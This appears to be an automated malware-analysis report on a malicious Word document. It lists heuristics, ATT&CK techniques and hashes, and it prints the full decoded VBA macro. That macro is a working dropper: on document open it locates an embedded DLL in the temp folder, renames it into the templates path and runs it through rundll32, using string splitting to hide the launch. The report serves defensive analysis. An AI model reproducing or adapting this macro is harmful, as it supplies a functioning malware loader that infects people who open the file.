MALICIOUS
570
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1566.001 Spearphishing Attachment
The sample is a malicious Microsoft Office document containing VBA macros. The Document_Open macro is configured to execute automatically, and it references the 'ShellExecuteA' API to run 'rundll32.exe' with arguments that suggest it will load and execute a DLL named 'kikus.dll' from the user's template path. This DLL is likely the second-stage payload, as indicated by the embedded PE executable and ClamAV detection of 'Win.Packed.Midie-10008727-0'.
Heuristics 15
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Office EPRINT stream contains EMF object high OLE_EPRINT_EMF_OBJECTOLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
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ClamAV: Win.Packed.Midie-10008727-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Packed.Midie-10008727-0
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Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
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Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
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Reference to ShellExecute API high SC_STR_SHELLEXECReference to ShellExecute API
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Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
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Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
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Ole10Native package carries executable/script file type high OFFICE_PACKAGE_RISKY_FILEOLE Package displayName or fullPath ends in an executable or script-capable extension. Even without UI extension spoofing, embedding a runnable payload inside an Office document is a high-risk delivery pattern.
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set vbvcx = CreateObject("Scripting.FileSystemObject") -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
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Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECTReference to VirtualProtect API
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2106 bytes |
SHA-256: 69e47c1773aef4cb1c60de9dedfff0981c3f84cd531fb1c75d08407dfed31313 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
Private Declare PtrSafe Function gc Lib "shell32" _
Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
Dim bbbb As String
bbbb = "rundl"
vcbc = Options.DefaultFilePath(wdUserTemplatesPath)
If Dir(vcbc & "\kikus.dll") = "" Then
Call yyy
Call hdhdd
If Len(hdv) > 2 Then
Call nam(hdv)
Dim cvzz As String
cvzz = "l3" & "2"
gc 0, vbNullString, _
bbbb & cvzz, vcbc & "\kikus.dll,GBSLWSDVGOE", _
vbNullString, 1
End If
End If
End Sub
Sub hdhdd()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)
Dim vbvcx As Object
Set vbvcx = CreateObject("Scripting.FileSystemObject")
Call Search(vbvcx.GetFolder(usx), hdv)
End Sub
Sub yyy()
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.TypeBackspace
Selection.Copy
End Sub
Attribute VB_Name = "Module1"
Dim pls As String
Sub nam(pafs As String)
Call ousx
Name pafs As pls & "\kikus.dll"
End Sub
Sub ousx()
pls = Options.DefaultFilePath(wdUserTemplatesPath)
End Sub
Sub Search(mds As Object, pafs As String)
Dim Nedc As Object
For Each Nedc In mds.SubFolders
Search Nedc, pafs
Next Nedc
Dim Ters As Object
For Each Ters In mds.Files
If Ters.Name = "kiks.dll" Then
pafs = Ters
End If
Next Ters
Exit Sub
ErrHandle:
Err.Clear
End Sub
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embedded_office_0008ec71.exe |
embedded-pe | Office MZ+PE at offset 0x8EC71 | 362383 bytes |
SHA-256: 093f63d8866151d33828118c1681267d9005543a3fb7d34edbc72e0229a63ffa |
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Detection
ClamAV:
Win.Packed.Midie-10008727-0
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1685395118/Ole10Native | 327989 bytes |
SHA-256: d710e304520b1a7f27206cc5427e6401a8f2ed3093221ca3f2594b482db57b68 |
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ole10native_00_kiks.dll |
ole-package-payload | OLE Ole10Native payload: ObjectPool/_1685395118/Ole10Native; display_name=kiks.dll; full_path=C:\Users\MyPc\AppData\Local\Temp\kiks.dll; temp_path=; def_file= | 327680 bytes |
SHA-256: 62f2cdb52155cf0ec2f5fa707900eac76a8e58339ce3b0772c53a63a05089127 |
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